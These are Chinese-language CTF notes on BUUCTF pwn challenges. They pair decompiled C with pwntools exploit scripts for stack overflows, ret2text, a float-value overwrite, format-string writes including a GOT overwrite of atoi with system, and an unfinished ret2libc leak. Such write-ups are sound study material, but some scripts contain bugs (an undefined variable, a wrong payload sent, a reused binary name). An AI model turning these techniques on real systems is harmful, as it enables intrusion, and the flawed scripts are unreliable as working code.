buuctf-pwn
.. note::
This . ss
warmup_csaw_2016
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
from pwn import *
sh = remote('node4.buuoj.cn', 25891)
sh.sendline("A"*(0x40+8)+p64(0x40060D))
sh.interactive()
ciscn_2019_n_1
amd64-64-little、NX
考察点:
十六进制的存储
ret2text覆盖返回地址
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
(一)栈溢出写入浮点数
浮点数的小数点表示法是直观的表现形式,实际在计算机中以十六进制(二进制)的指定形式表示。
十进制浮点数 => 二进制形式 => 十六进制形式
由于涉及到判断是否相等的操作,那么11.28125的十六进制形式也会在程序中存储。
11.28125 转换为二进制为 1011.01001 11.28125 在计算机内部储存为 0100 0001 0011 0100 1000 0000 0000 0000 即11.28125 ==> 0x41348000
(二)栈溢出写入返回地址
让gets函数直接返回到system(cat flag)代码处,跳过if条件判断。
from pwn import *
r=remote("node4.buuoj.cn",28863)
ret_arr = 0x4006BE
float_num = 0x41348000
payload1 = 'a'*(0x30 - 0x4) + p64(float_num)
payload2 = 'a'*(0x30 + 8) + p64(ret_arr)
p.sendline(payload1)
p.interactive()
pwn1_sctf_2016 [源码没有读懂]
fgets看似限制了输入字符数为32,但后面存在字符替换操作。每单个字符I
都会被替换为三个字符You
。而变量s的大小为60,可以输入20个I
,替换后就得到了60个字符,利用栈溢出覆盖ebp和返回地址为get_flag函数。
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
在这里插入图片描述
from pwn import *
r=remote("node4.buuoj.cn",25145)
#0x3c=60
#every "I" will be replaced into "you", need 60/3=20 I
r.sendline("I"*20+"B"*4+p32(0x08048F0D))
r.interactive()
jarvisoj_level0
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
int callsystem()
{
return system("/bin/sh");
}
from pwn import *
r=remote("node4.buuoj.cn",25007)
backdoor=0x400596
r.sendline("A"*(0x80+8)+p64(backdoor))
r.interactive()
[第五空间2019 决赛]PWN5
Canary
i386-32-little
NX
num_addr=0x804C044 #4字节
p32(num_addr)+"%10$n"
输入字符串的内容所在地址,相对格式化字符串所在地址的偏移为第10个参数
思路:
格式化字符串漏洞任意地址写入,覆盖read的返回地址为system执行地址
修改num的大小
【疑问】为什么要写入四字节的数据
img
#coding=utf-8
from pwn import *
p = remote('node4.buuoj.cn',28526)
addr = 0x0804C044
#地址,也就相当于可打印字符串,共16byte
payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10
#%10$hhn就相当于读取栈偏移为10处的数据当做地址,然后将前面的字符数写入到地址之中
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
p.sendline(payload)
# 0x10101010 4 * len(p32()) = 0x10
p.sendline(str(0x10101010))
p.interactive()
fmtstr:任意地址写入,修改num的值
from pwn import *
sh = remote('node4.buuoj.cn',28526)
unk_804C044 = 0x804C044
payload = fmtstr_payload(10, {unk_804C044: 0x1})
sh.sendline(payload)
sh.sendline(str(0x1))
sh.interactive()
#coding=utf-8
from pwn import *
p = remote('node4.buuoj.cn',28526)
elf = ELF("5thspace2019pwn5")
atoi_got = elf.got["atoi"]
system_plt = elf.plt["system"]
payload = fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline("/bin/sh\x00") #!
p.interactive()
思路:利用gets栈溢出泄露puts函数内存地址,从而确定libc版本,得到system("/bin/sh")
为了绕过while循环退出条件v0>=strlen(s)
,可以构造"\0"字符截断,作为溢出padding的一部分。
img
puts@plt(puts@got) -> main
总结做题中的错误:
忘记64位需要堆栈平衡,需要使用gadget来构造参数
没有看懂程序执行逻辑,没有看到while循环中的语句,如果不截断字符将会一直进行循环。
from pwn import *
p = remote('node4.buuoj.cn',28526)
elf = ELF("5thspace2019pwn5")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=elf.sym["main"]
p.sendline("1")
p.recvuntil("\n")
p.sendline("A"*(0x50+8)+p64(puts_plt)+p64(puts_got)+p64(main_addr))